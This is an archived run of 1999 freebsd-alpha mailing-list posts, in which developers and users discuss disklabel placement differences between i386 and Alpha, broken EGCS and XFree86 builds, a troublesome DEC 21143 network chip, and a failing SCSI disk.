freebsd-alpha@freebsd.org References: MIME-Version: 1.0 Message-Id: <9904031503150Q.22286@nomis.simon-shapiro.org> Content-Transfer-Encoding: 8bit X-KMail-Mark: Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sat, 03 Apr 1999, Doug Rabson wrote: >On Fri, 2 Apr 1999, Simon Shapiro wrote: > >> Is it my imagination or lack of attention, or a problem? >> >> It appears that if I disklabel a drive on a PC, the label will not be >> visible on an Alpha? >> >> Why do that? Linux fdisk (on the alpha) is a bit broken, so I thought >> to disklabel on a PC and move the disks. No cigar. >> >> So, either this is the case, or the two are so incompatible that they >> write/read totally different areas on the disk. >> >> BTW, Linux thinks that there is partition 4 on the disks. fdisk on the >> FreeBSD-i386 side confirms that. >> >> Yes, I followed the handbook guide and wiped out the first megabyte of >> /dev/da16, then disklable -Br, etc. No cigar. > >The disklabel lives in different places on the two architectures. For >i386, it is at block 1, offset 0 and for alpha it is at block 0, offset >64. This is mainly for compatibility with OSF1 and NetBSD but it makes >some kind of sense since the first block isn't cluttered up with >executable code on the alpha. > >To add to the fun, disklabel -Br does completely different things on the >alpha (like installing alpha executables instead of i386 ones...). Figured as much :-) Question still remains how to make a diskpack compatible between the two? There are several uses to this, clustering being not the least of them. Sincerely, Simon Shapiro Research Fellow ShapiroS@MindSpring.com MindSpring Enterprises, Inc. 404.815.0770 ext. 2057 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sat Apr 3 16:32:40 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mcclure.tinet.ie (mcclure.tinet.ie [159.134.237.31]) by hub.freebsd.org (Postfix) with ESMTP id CECFE14E52 for ; Sat, 3 Apr 1999 16:32:37 -0800 (PST) (envelope-from tony@nua.ie) Received: from p229.as2.exs.dublin.tinet.ie ([159.134.225.229]) by mcclure.tinet.ie with smtp (Exim 2.05 #23) id 10TaoE-00016C-00 for freebsd-alpha@FreeBSD.ORG; Sun, 4 Apr 1999 01:30:42 +0100 From: tony@nua.ie (Tony Byrne) To: freebsd-alpha@FreeBSD.ORG Subject: Date: Sun, 04 Apr 1999 00:32:25 GMT Organization: ByrneHQ Message-ID: <3706b2e9.7447835@smtp.nua.net> X-Mailer: Forte Agent 1.5/32.451 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org subscribe tony@nua.ie -- =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Tony Byrne , Swords, Co. Dublin, Ireland. MP3 Musician http://www.mp3.com/tony_byrne Get your copy of the Winamp MP3 player: http://www.winamp.com =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun Apr 4 1:23:34 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 2A40714E7E for ; Sun, 4 Apr 1999 01:23:31 -0800 (PST) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id KAA73989; Sun, 4 Apr 1999 10:23:32 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Sun, 4 Apr 1999 10:23:26 +0100 (BST) From: Doug Rabson To: Simon Shapiro Cc: freebsd-alpha@freebsd.org Subject: Re: disklabel In-Reply-To: <9904031503150Q.22286@nomis.simon-shapiro.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sat, 3 Apr 1999, Simon Shapiro wrote: > On Sat, 03 Apr 1999, Doug Rabson wrote: > >On Fri, 2 Apr 1999, Simon Shapiro wrote: > > > >> Is it my imagination or lack of attention, or a problem? > >> > >> It appears that if I disklabel a drive on a PC, the label will not be > >> visible on an Alpha? > >> > >> Why do that? Linux fdisk (on the alpha) is a bit broken, so I thought > >> to disklabel on a PC and move the disks. No cigar. > >> > >> So, either this is the case, or the two are so incompatible that they > >> write/read totally different areas on the disk. > >> > >> BTW, Linux thinks that there is partition 4 on the disks. fdisk on the > >> FreeBSD-i386 side confirms that. > >> > >> Yes, I followed the handbook guide and wiped out the first megabyte of > >> /dev/da16, then disklable -Br, etc. No cigar. > > > >The disklabel lives in different places on the two architectures. For > >i386, it is at block 1, offset 0 and for alpha it is at block 0, offset > >64. This is mainly for compatibility with OSF1 and NetBSD but it makes > >some kind of sense since the first block isn't cluttered up with > >executable code on the alpha. > > > >To add to the fun, disklabel -Br does completely different things on the > >alpha (like installing alpha executables instead of i386 ones...). > > Figured as much :-) > > Question still remains how to make a diskpack compatible between the > two? > > There are several uses to this, clustering being not the least of them. The only way I can think of is to put two labels on the disk, one in block zero offset 64 and one in block one, offset zero. The disk would have to be 'dedicated', i.e. no fdisk partition table. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun Apr 4 13:18: 8 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from relay.nuxi.com (nuxi.ucdavis.edu [169.237.7.38]) by hub.freebsd.org (Postfix) with ESMTP id BAAFF14D5A; Sun, 4 Apr 1999 13:18:06 -0700 (PDT) (envelope-from obrien@NUXI.com) Received: (from obrien@localhost) by relay.nuxi.com (8.9.2/8.9.1) id NAA77082; Sun, 4 Apr 1999 13:16:10 -0700 (PDT) (envelope-from obrien) Message-ID: <19990404131610.B77056@nuxi.com> Date: Sun, 4 Apr 1999 13:16:10 -0700 From: "David O'Brien" To: current@freebsd.org, freebsd-alpha@freebsd.org Subject: EGCS and Alpha builds Reply-To: obrien@NUXI.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93.2i X-Operating-System: FreeBSD 3.1-STABLE Organization: The NUXI BSD group X-PGP-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Keyid: 34F9F9D5 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I should mention that ``make world'' on the alpha should be considered totally broken until an Alpha developer can tweak the contrib/egcs/gcc/config/freebsd.h and contrib/egcs/gcc/config/alpha/freebsd*.h bits. I would really like to see contrib/egcs/gcc/config/alpha/freebsd*.h combined into one file. -- -- David (obrien@NUXI.com -or- obrien@FreeBSD.org) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun Apr 4 14:11:15 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 1BC77152FA; Sun, 4 Apr 1999 14:11:11 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id WAA79101; Sun, 4 Apr 1999 22:11:17 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Sun, 4 Apr 1999 22:11:17 +0100 (BST) From: Doug Rabson To: "David O'Brien" Cc: current@freebsd.org, freebsd-alpha@freebsd.org Subject: Re: EGCS and Alpha builds In-Reply-To: <19990404131610.B77056@nuxi.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, 4 Apr 1999, David O'Brien wrote: > I should mention that ``make world'' on the alpha should be considered > totally broken until an Alpha developer can tweak the > contrib/egcs/gcc/config/freebsd.h and > contrib/egcs/gcc/config/alpha/freebsd*.h > bits. I would really like to see > contrib/egcs/gcc/config/alpha/freebsd*.h combined into one file. I'll try to take a look tomorrow but I have visitors coming so I can't promise anything. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun Apr 4 21:14: 8 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from bluto.lgc.com (jking1.lgc.com [134.132.228.2]) by hub.freebsd.org (Postfix) with ESMTP id 096741531A for ; Sun, 4 Apr 1999 21:14:01 -0700 (PDT) (envelope-from king@sstar.com) Received: from raspberry ([134.132.228.7]) by bluto.lgc.com (8.9.3/8.9.1) with SMTP id XAA55910 for ; Sun, 4 Apr 1999 23:12:30 -0500 (CDT) (envelope-from king@sstar.com) Message-Id: <4.1.19990404230904.0097caf0@mail.sstar.com> X-Sender: king@mail.sstar.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Sun, 04 Apr 1999 23:12:01 -0500 To: freebsd-alpha@freebsd.org From: Jim King Subject: Building XFree86 3.3.3.1 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org What's the current recommendation on building XFree86? I tried the port as-is and with all the configuration defaults, and it fails trying to build bsd_jstk.c (missing machine/joystick.h). I tried again and answered "no" on "build servers with extended input"; this prevents it from including the joystick code, but make fails with a message about a missing target (sorry, I forgot to write it down). Jim To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 5 23:44: 3 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from nomis.simon-shapiro.org (nomis.simon-shapiro.org [209.86.126.163]) by hub.freebsd.org (Postfix) with SMTP id 315EF1558D for ; Mon, 5 Apr 1999 23:43:34 -0700 (PDT) (envelope-from shimon@simon-shapiro.org) Received: (qmail 742 invoked by uid 1000); 6 Apr 1999 06:45:05 -0000 Message-ID: X-Mailer: XFMail 1.3 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Tue, 06 Apr 1999 02:45:05 -0400 (EDT) X-Face: --Q&x/1^%>&*}<-P_Nc`3TWi's/BcC?8]O1b,;r$#7wzaSo-\/:3NE{Wm=?;i8{R'h.gsd8 %Hz|Y~=sSW"`VLLNW/{>Ap1%:OB*:KP|LD>" =)I@7r|wU}a To: Doug Rabson Subject: Re: disklabel Cc: freebsd-alpha@freebsd.org Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 04-Apr-99 Doug Rabson wrote: > On Sat, 3 Apr 1999, Simon Shapiro wrote: > >> On Sat, 03 Apr 1999, Doug Rabson wrote: >> >On Fri, 2 Apr 1999, Simon Shapiro wrote: >> > >> >> Is it my imagination or lack of attention, or a problem? >> >> >> >> It appears that if I disklabel a drive on a PC, the label will >> >> not be >> >> visible on an Alpha? >> >> >> >> Why do that? Linux fdisk (on the alpha) is a bit broken, so I >> >> thought >> >> to disklabel on a PC and move the disks. No cigar. >> >> >> >> So, either this is the case, or the two are so incompatible that >> >> they >> >> write/read totally different areas on the disk. >> >> >> >> BTW, Linux thinks that there is partition 4 on the disks. fdisk >> >> on the >> >> FreeBSD-i386 side confirms that. >> >> >> >> Yes, I followed the handbook guide and wiped out the first >> >> megabyte of >> >> /dev/da16, then disklable -Br, etc. No cigar. >> > >> >The disklabel lives in different places on the two architectures. >> >For >> >i386, it is at block 1, offset 0 and for alpha it is at block 0, >> >offset >> >64. This is mainly for compatibility with OSF1 and NetBSD but it >> >makes >> >some kind of sense since the first block isn't cluttered up with >> >executable code on the alpha. >> > >> >To add to the fun, disklabel -Br does completely different things >> >on the >> >alpha (like installing alpha executables instead of i386 ones...). >> >> Figured as much :-) >> >> Question still remains how to make a diskpack compatible between the >> two? >> >> There are several uses to this, clustering being not the least of >> them. > > The only way I can think of is to put two labels on the disk, one in > block > zero offset 64 and one in block one, offset zero. The disk would have > to > be 'dedicated', i.e. no fdisk partition table. That will be fine. As long as the tools and kernels all agree. As it stands now, one cannot move any removable seekable media (other than floppy and serial devices) between these machines. I would go for fdisk partitions everywhere (has the advantage of more than 6-7 partitions per 29GB drive), but DU does not agree with that. > > -- > Doug Rabson Mail: dfr@nlsystems.com > Nonlinear Systems Ltd. Phone: +44 181 442 9037 > > Sincerely Yours, Shimon@Simon-Shapiro.ORG 770.265.7340 Simon Shapiro Unwritten code has no bugs and executes at twice the speed of mouth To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 6 1:40:49 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 6D93F14CBE for ; Tue, 6 Apr 1999 01:40:46 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id JAA82729; Tue, 6 Apr 1999 09:41:08 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Tue, 6 Apr 1999 09:41:08 +0100 (BST) From: Doug Rabson To: Simon Shapiro Cc: freebsd-alpha@freebsd.org Subject: Re: disklabel In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 6 Apr 1999, Simon Shapiro wrote: > > The only way I can think of is to put two labels on the disk, one in > > block > > zero offset 64 and one in block one, offset zero. The disk would have > > to > > be 'dedicated', i.e. no fdisk partition table. > > That will be fine. As long as the tools and kernels all agree. > As it stands now, one cannot move any removable seekable media (other > than floppy and serial devices) between these machines. > > I would go for fdisk partitions everywhere (has the advantage of more > than 6-7 partitions per 29GB drive), but DU does not agree with that. If I had the time, I would pick up the AlphaBIOS loader again. That requires fdisk partitions to boot from and things could be made to agree with i386 pretty easily. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 6 13:29: 1 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from earth.merrion.nua.net (earth.merrion.nua.net [195.7.46.60]) by hub.freebsd.org (Postfix) with ESMTP id 41B6E14D03 for ; Tue, 6 Apr 1999 13:28:57 -0700 (PDT) (envelope-from tony@nua.ie) Received: from nua.ie (localhost.merrion.nua.net [127.0.0.1]) by earth.merrion.nua.net (8.9.2/8.9.1) with ESMTP id VAA19861 for ; Tue, 6 Apr 1999 21:31:56 +0100 (IST) (envelope-from tony@nua.ie) Message-ID: <370A6F3B.A7D3D92C@nua.ie> Date: Tue, 06 Apr 1999 21:31:55 +0100 From: Tony Byrne Organization: Nua X-Mailer: Mozilla 4.5 [en] (X11; I; FreeBSD 3.1-STABLE i386) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-alpha@freebsd.org Subject: DEC 21143 based NIC Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I've recently laid hands on a DEC Alpha 433a personal workstation, onto which I am now trying to install FreeBSD. So far I've managed to install from CD-ROM, but I'm experiencing problems with the integrated NIC (a 61143 based nic). Up until yesterday it worked on the network, but with awful throughput. Today the NIC won't come up. My hubs indicate that a link is up, FreeBSD detects the NIC but it seems dead to the world and the kernel complains of there being no link. What's worrying me is that the card seems to have died under NT too :( Cables etc. seem fine. Has anyone any experience of this behaviour? Is it normal or is my NIC blown? Regards, Tony. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 6 14:42:37 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from panzer.plutotech.com (panzer.plutotech.com [206.168.67.125]) by hub.freebsd.org (Postfix) with ESMTP id 7B21614E34 for ; Tue, 6 Apr 1999 14:42:31 -0700 (PDT) (envelope-from ken@panzer.plutotech.com) Received: (from ken@localhost) by panzer.plutotech.com (8.9.3/8.8.5) id PAA30871; Tue, 6 Apr 1999 15:40:12 -0600 (MDT) From: "Kenneth D. Merry" Message-Id: <199904062140.PAA30871@panzer.plutotech.com> Subject: Re: DEC 21143 based NIC In-Reply-To: <370A6F3B.A7D3D92C@nua.ie> from Tony Byrne at "Apr 6, 1999 9:31:55 pm" To: tony@nua.ie (Tony Byrne) Date: Tue, 6 Apr 1999 15:40:11 -0600 (MDT) Cc: freebsd-alpha@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Tony Byrne wrote... > I've recently laid hands on a DEC Alpha 433a personal workstation, onto > which I am now trying to install FreeBSD. So far I've managed to > install from CD-ROM, but I'm experiencing problems with the integrated > NIC (a 61143 based nic). > > Up until yesterday it worked on the network, but with awful throughput. > Today the NIC won't come up. My hubs indicate that a link is up, > FreeBSD detects the NIC but it seems dead to the world and the kernel > complains of there being no link. > > What's worrying me is that the card seems to have died under NT too :( > > Cables etc. seem fine. > > Has anyone any experience of this behaviour? Is it normal or is my NIC > blown? IIRC, when I installed FreeBSD on a 433au last year, I had to hard-code some variable in the SRM to get it to do 100BaseT, since it wouldn't autodetect the fact that it's on a 100BaseT network. Also, a co-worker has had an awful time getting 21143 chips to do full duplex 100BaseTX. He believes that the 21143 hardware may be broken for 100BaseTX full duplex. (although he did say that the Linux DEC driver tweaks some undocumented registers and says something like "needs this to work" without any other comment) I wonder if the Linux DEC driver works okay with the 21143 in full duplex mode. How are you booting NT and FreeBSD off the same machine? I know FreeBSD only really works with SRM at the moment, and I thought that NT had to have the ARC console to boot... Ken -- Kenneth Merry ken@plutotech.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 7 0:57:34 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.rdc1.az.home.com (ha1.rdc1.az.home.com [24.1.240.66]) by hub.freebsd.org (Postfix) with ESMTP id D0828155FF for ; Wed, 7 Apr 1999 00:57:32 -0700 (PDT) (envelope-from smckean@home.com) Received: from cx11732-b ([24.6.164.42]) by mail.rdc1.az.home.com (InterMail v4.00.03 201-229-104) with SMTP id <19990407075534.FRFX25123.mail.rdc1.az.home.com@cx11732-b> for ; Wed, 7 Apr 1999 00:55:34 -0700 Message-ID: <002301bfa067$08e404a0$2aa40618@cx11732-b.chnd1.az.home.com> From: "Darius" To: Subject: AlphaPC164SX : Good OEM Alpha Board? Date: Fri, 7 Apr 2000 00:58:17 -0700 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0020_01BFA02C.5C7463C0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.1 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This is a multi-part message in MIME format. ------=_NextPart_000_0020_01BFA02C.5C7463C0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi there, I was checking out some of Digitals OEM boards and was considering a PC164 with a 533 21164PC Chip. Are there any downsides to this setup = when running linux? Thanks in advance, Darius ------=_NextPart_000_0020_01BFA02C.5C7463C0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi there,

   I was checking out some of Digitals = OEM=20 boards and was considering a
PC164 with a 533 21164PC Chip.  Are = there=20 any downsides to this setup when
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------=_NextPart_000_0020_01BFA02C.5C7463C0-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 7 1: 2: 2 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from bolet.ens.fr (bolet.ens.fr [129.199.99.10]) by hub.freebsd.org (Postfix) with ESMTP id C6461155FF for ; Wed, 7 Apr 1999 01:01:59 -0700 (PDT) (envelope-from pornin@bolet.ens.fr) Received: (from pornin@localhost) by bolet.ens.fr (8.8.7/8.8.7) id JAA06358 for freebsd-alpha@freebsd.org; Wed, 7 Apr 1999 09:59:59 +0200 Message-ID: <19990407095959.A6317@bolet.ens.fr> Date: Wed, 7 Apr 1999 09:59:59 +0200 From: Thomas Pornin To: freebsd-alpha@freebsd.org Subject: ncr0: restart (fatal error) Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93i Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hello, I have a small alpha running the 4.0-19990204 snapshot. Since early this morning, I get these : ncr0:0: ERROR (a0:0) (0-0-0) (8/13) @ (script 2c:80080000). ncr0: script cmd = 80080000 ncr0: regdump: da 00 00 13 47 08 00 1f 35 08 80 00 80 00 0f 02. ncr0: restart (fatal error). And others similar. About 10 per hour. The machine is a UDB, with an internal 330 MB disk (da0) and an external 1 GB disk (da1). Is this a FreeBSD bug, or has the disk begun to decay and will ultimately die ? --Thomas Pornin To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 7 2:17:38 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from prince.inix.com (prince.inix.com [208.164.69.181]) by hub.freebsd.org (Postfix) with ESMTP id 9904115575 for ; Wed, 7 Apr 1999 02:17:31 -0700 (PDT) (envelope-from pat@prince.inix.com) Received: from localhost (pat@localhost) by prince.inix.com (8.8.7/8.8.7) with SMTP id XAA22459 for ; Tue, 6 Apr 1999 23:15:32 -1000 Date: Tue, 6 Apr 1999 23:15:32 -1000 (HST) From: Patrick Guerin To: freebsd-alpha@FreeBSD.ORG Subject: 3000? In-Reply-To: <370A6F3B.A7D3D92C@nua.ie> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Can anyone point a new 3000 owner in the right direction? Yes, it's the one from onsale.com and looks like it was meant to be and NT machine.... Hope to hear some good news... Thanks, pat To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 7 2:24:40 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from earth.merrion.nua.net (earth.merrion.nua.net [195.7.46.60]) by hub.freebsd.org (Postfix) with ESMTP id 9F3DC15720 for ; Wed, 7 Apr 1999 02:24:33 -0700 (PDT) (envelope-from tony@nua.ie) Received: from nua.ie (localhost.merrion.nua.net [127.0.0.1]) by earth.merrion.nua.net (8.9.2/8.9.1) with ESMTP id KAA20639 for ; Wed, 7 Apr 1999 10:27:34 +0100 (IST) (envelope-from tony@nua.ie) Message-ID: <370B2506.2D66D900@nua.ie> Date: Wed, 07 Apr 1999 10:27:34 +0100 From: Tony Byrne Organization: Nua X-Mailer: Mozilla 4.5 [en] (X11; I; FreeBSD 3.1-STABLE i386) X-Accept-Language: en MIME-Version: 1.0 Cc: freebsd-alpha@FreeBSD.ORG Subject: Re: DEC 21143 based NIC References: <199904062140.PAA30871@panzer.plutotech.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org "Kenneth D. Merry" wrote: > > Tony Byrne wrote... > > I've recently laid hands on a DEC Alpha 433a personal workstation, onto > > which I am now trying to install FreeBSD. So far I've managed to > > install from CD-ROM, but I'm experiencing problems with the integrated > > NIC (a 61143 based nic). > > > > Up until yesterday it worked on the network, but with awful throughput. > > Today the NIC won't come up. My hubs indicate that a link is up, > > FreeBSD detects the NIC but it seems dead to the world and the kernel > > complains of there being no link. > > > > What's worrying me is that the card seems to have died under NT too :( > > > > Cables etc. seem fine. > > > > Has anyone any experience of this behaviour? Is it normal or is my NIC > > blown? > > IIRC, when I installed FreeBSD on a 433au last year, I had to hard-code > some variable in the SRM to get it to do 100BaseT, since it wouldn't > autodetect the fact that it's on a 100BaseT network. > > Also, a co-worker has had an awful time getting 21143 chips to do full > duplex 100BaseTX. He believes that the 21143 hardware may be broken for > 100BaseTX full duplex. (although he did say that the Linux DEC driver > tweaks some undocumented registers and says something like "needs this to > work" without any other comment) I wonder if the Linux DEC driver works > okay with the 21143 in full duplex mode. On a related subject... Assuming that the integrated NIC just won't cut the mustard or is dead beef, what off the shelf PCI / ISA NICs are likely to work in a Alpha Personal Workstation 433a, under FreeBSD (or NT for that matter)? Finding documentation for this short of thing is tricky. Also does anyone know how resources such as IRQs and IO addresses are managed by these machines? E.g, if I pop in a plain ol' NE2000 compatible ISA NIC with known IRQ and IO settings, how does the alpha know to reserve them? Sorry if my questions are slightly off topic, but I was lucky enough to lay my hands on a 433a at the weekend and it's early days on the learning curve. Regards, Tony. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 7 2:41: 5 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from soho.london.virgin.NET (soho.london.virgin.net [194.168.38.12]) by hub.freebsd.org (Postfix) with ESMTP id 46C151577E for ; Wed, 7 Apr 1999 02:40:58 -0700 (PDT) (envelope-from scot@london.virgin.net) Received: from sulu.london.virgin.net (sulu.london.virgin.net [194.168.38.248]) by soho.london.virgin.NET (8.9.3/8.9.3) with ESMTP id KAA22651; Wed, 7 Apr 1999 10:38:58 +0100 (BST) Received: from localhost (scot@localhost) by sulu.london.virgin.net (8.8.8+Sun/8.8.8) with ESMTP id KAA25675; Wed, 7 Apr 1999 10:38:56 +0100 (BST) Date: Wed, 7 Apr 1999 10:38:55 +0100 (BST) From: Scot Elliott To: Darius Cc: freebsd-alpha@FreeBSD.ORG Subject: Re: AlphaPC164SX : Good OEM Alpha Board? In-Reply-To: <002301bfa067$08e404a0$2aa40618@cx11732-b.chnd1.az.home.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi. The only problem I've had with this board is flashing from SRM back to AlphaBIOS. When I try to do this, it comes up with a CMOS parity error which requires the battery to be removed from the motherboard, and then the AlphaBIOS flashing back using the emergency mode thing. Other than that it's been fine, although I'm still to get DEC Unix working with it - but I think this is a problem with my SCSI card. Scot. On Fri, 7 Apr 2000, Darius wrote: > Hi there, > > I was checking out some of Digitals OEM boards and was considering a > PC164 with a 533 21164PC Chip. Are there any downsides to this setup when > running linux? > > Thanks in advance, > > Darius > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 7 3:24:19 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from bolet.ens.fr (bolet.ens.fr [129.199.99.10]) by hub.freebsd.org (Postfix) with ESMTP id 6208114D12 for ; Wed, 7 Apr 1999 03:24:15 -0700 (PDT) (envelope-from pornin@bolet.ens.fr) Received: (from pornin@localhost) by bolet.ens.fr (8.8.7/8.8.7) id MAA07060 for freebsd-alpha@freebsd.org; Wed, 7 Apr 1999 12:22:16 +0200 Message-ID: <19990407122215.B7017@bolet.ens.fr> Date: Wed, 7 Apr 1999 12:22:15 +0200 From: Thomas Pornin To: freebsd-alpha@freebsd.org Subject: Re: ncr0: restart (fatal error) References: <19990407095959.A6317@bolet.ens.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93i In-Reply-To: <19990407095959.A6317@bolet.ens.fr>; from Thomas Pornin on Wed, Apr 07, 1999 at 09:59:59AM +0200 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, Apr 07, 1999 at 09:59:59AM +0200, Thomas Pornin wrote: > Is this a FreeBSD bug, or has the disk begun to decay and will > ultimately die ? Hum. The disk finally stopped responding: ncr0: timeout nccb=0xfffffe0000163800 (skip) Power-off. Power-on. I get many of these: ESR: 6FF4DAE900000013 EAR: 6FF4DAE9417546C8 STAT0: 0000000200000002 STAT1: 0000007100000071 BC_TAG: 0000000000000000 \ Processor correctable error through vector 00000063. (similar problem if I try to boot Linux on another drive) Is there any hope of resurrecting the box ? --Thomas To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 7 6:36:24 1999 Delivered-To: 